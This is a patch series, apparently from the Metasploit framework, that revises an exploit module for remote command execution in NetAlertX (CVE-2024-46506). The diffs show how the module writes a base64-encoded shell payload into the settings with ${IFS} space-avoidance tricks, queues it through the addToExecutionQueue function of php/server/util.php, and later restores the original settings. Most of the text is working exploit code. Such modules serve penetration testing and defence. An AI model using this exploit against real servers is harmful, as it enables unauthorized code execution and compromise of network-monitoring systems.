+ return Exploit::CheckCode::Unknown('Failed to get html document.') if html_document.blank? version_element = html_document.xpath('//div[text()="Installed version"]//following-sibling::*') - return Exploit::CheckCode::Unknown('Failed to get version element.') unless version_element + return Exploit::CheckCode::Unknown('Failed to get version element.') if version_element.blank? version = Rex::Version.new(version_element.text&.strip&.sub(/^v/, '')) - return Exploit::CheckCode::Unknown('Failed to detect version.') unless version return Exploit::CheckCode::Safe("Version #{version} detected, which is not vulnerable.") unless version.between?(Rex::Version.new('23.01.14'), Rex::Version.new('24.9.12')) @@ -81,14 +80,14 @@ def check end def exploit - # Command is splitted by the space, and processed by the below Python code + # Command is split by space character, and executed by the following Python code: # subprocess.check_output(command, universal_newlines=True, stderr=subprocess.STDOUT, timeout=(set_RUN_TIMEOUT)) # https://github.com/jokob-sk/NetAlertX/blob/v24.9.12/server/plugin.py#L206 # https://github.com/jokob-sk/NetAlertX/blob/v24.9.12/server/plugin.py#L214 - cmd = "/bin/bash -c echo${IFS}#{Rex::Text.encode_base64(payload.encoded)}|base64${IFS}-d|/bin/bash" + cmd = "/bin/sh -c echo${IFS}#{Rex::Text.encode_base64(payload.encoded)}|base64${IFS}-d|/bin/sh" update_settings(cmd, '*') # Not updated immediately - print_status('Waiting settings really updated...') + print_status('Waiting for the settings to be properly updated...') retry_until_truthy(timeout: datastore['WAIT']) do check_settings(cmd) end @@ -120,11 +119,7 @@ def add_to_execution_queue(cmd) 'uri' => normalize_uri(target_uri.path, 'php/server/util.php'), 'vars_post' => { 'function' => 'addToExecutionQueue', - 'action' => "#{Rex::Text.rand_text_alphanumeric(8)}-"\ - "#{Rex::Text.rand_text_alphanumeric(4)}-"\ - "#{Rex::Text.rand_text_alphanumeric(4)}-"\ - "#{Rex::Text.rand_text_alphanumeric(4)}-"\ - "#{Rex::Text.rand_text_alphanumeric(12)}|#{cmd}" + 'action' => "#{SecureRandom.uuid}|#{cmd}" } }) fail_with(Failure::Unknown, 'Failed to add the payload to the queue.') unless res&.code == 200 @@ -144,7 +139,7 @@ def cleanup super if datastore['CLEANUP'] - # Default settings, cannot change (normally). + # Default settings, isn't usually changed. # https://github.com/jokob-sk/NetAlertX/blob/v24.9.12/front/plugins/db_cleanup/config.json#L92 update_settings( 'python3 /app/front/plugins/db_cleanup/script.py pluginskeephistory={pluginskeephistory} hourstokeepnewdevice={hourstokeepnewdevice} daystokeepevents={daystokeepevents} pholuskeepdays={pholuskeepdays}', From 2db7f4f1869e5b29d528755b5dceb4d681155383 Mon Sep 17 00:00:00 2001 From: Takah1ro Date: Tue, 11 Feb 2025 11:25:24 +0900 Subject: [PATCH 10/10] Use BadChars and Base64Decoder --- .../linux/http/netalertx_rce_cve_2024_46506.rb | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) diff --git a/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb b/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb index e8249c1b13e7..a93b3439583b 100644 --- a/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb +++ b/modules/exploits/linux/http/netalertx_rce_cve_2024_46506.rb @@ -41,6 +41,9 @@ def initialize(info = {}) ], ], 'DefaultTarget' => 0, + 'Payload' => { + 'BadChars' => ' \'\\' + }, 'DisclosureDate' => '2025-01-30', 'Notes' => { 'Stability' => [ CRASH_SAFE, ], @@ -57,6 +60,11 @@ def initialize(info = {}) OptBool.new('CLEANUP', [false, 'Restore DBCLNP_CMD to original value after execution', true]) ] ) + register_advanced_options( + [ + OptString.new('Base64Decoder', [true, 'The binary to use for base64 decoding', 'base64-short', %w[base64-short] ]) + ] + ) end def check @@ -73,7 +81,6 @@ def check return Exploit::CheckCode::Unknown('Failed to get version element.') if version_element.blank? version = Rex::Version.new(version_element.text&.strip&.sub(/^v/, '')) - return Exploit::CheckCode::Safe("Version #{version} detected, which is not vulnerable.") unless version.between?(Rex::Version.new('23.01.14'), Rex::Version.new('24.9.12')) Exploit::CheckCode::Appears("Version #{version} detected.") @@ -84,7 +91,7 @@ def exploit # subprocess.check_output(command, universal_newlines=True, stderr=subprocess.STDOUT, timeout=(set_RUN_TIMEOUT)) # https://github.com/jokob-sk/NetAlertX/blob/v24.9.12/server/plugin.py#L206 # https://github.com/jokob-sk/NetAlertX/blob/v24.9.12/server/plugin.py#L214 - cmd = "/bin/sh -c echo${IFS}#{Rex::Text.encode_base64(payload.encoded)}|base64${IFS}-d|/bin/sh" + cmd = "/bin/sh -c #{payload.encode}" update_settings(cmd, '*') # Not updated immediately print_status('Waiting for the settings to be properly updated...')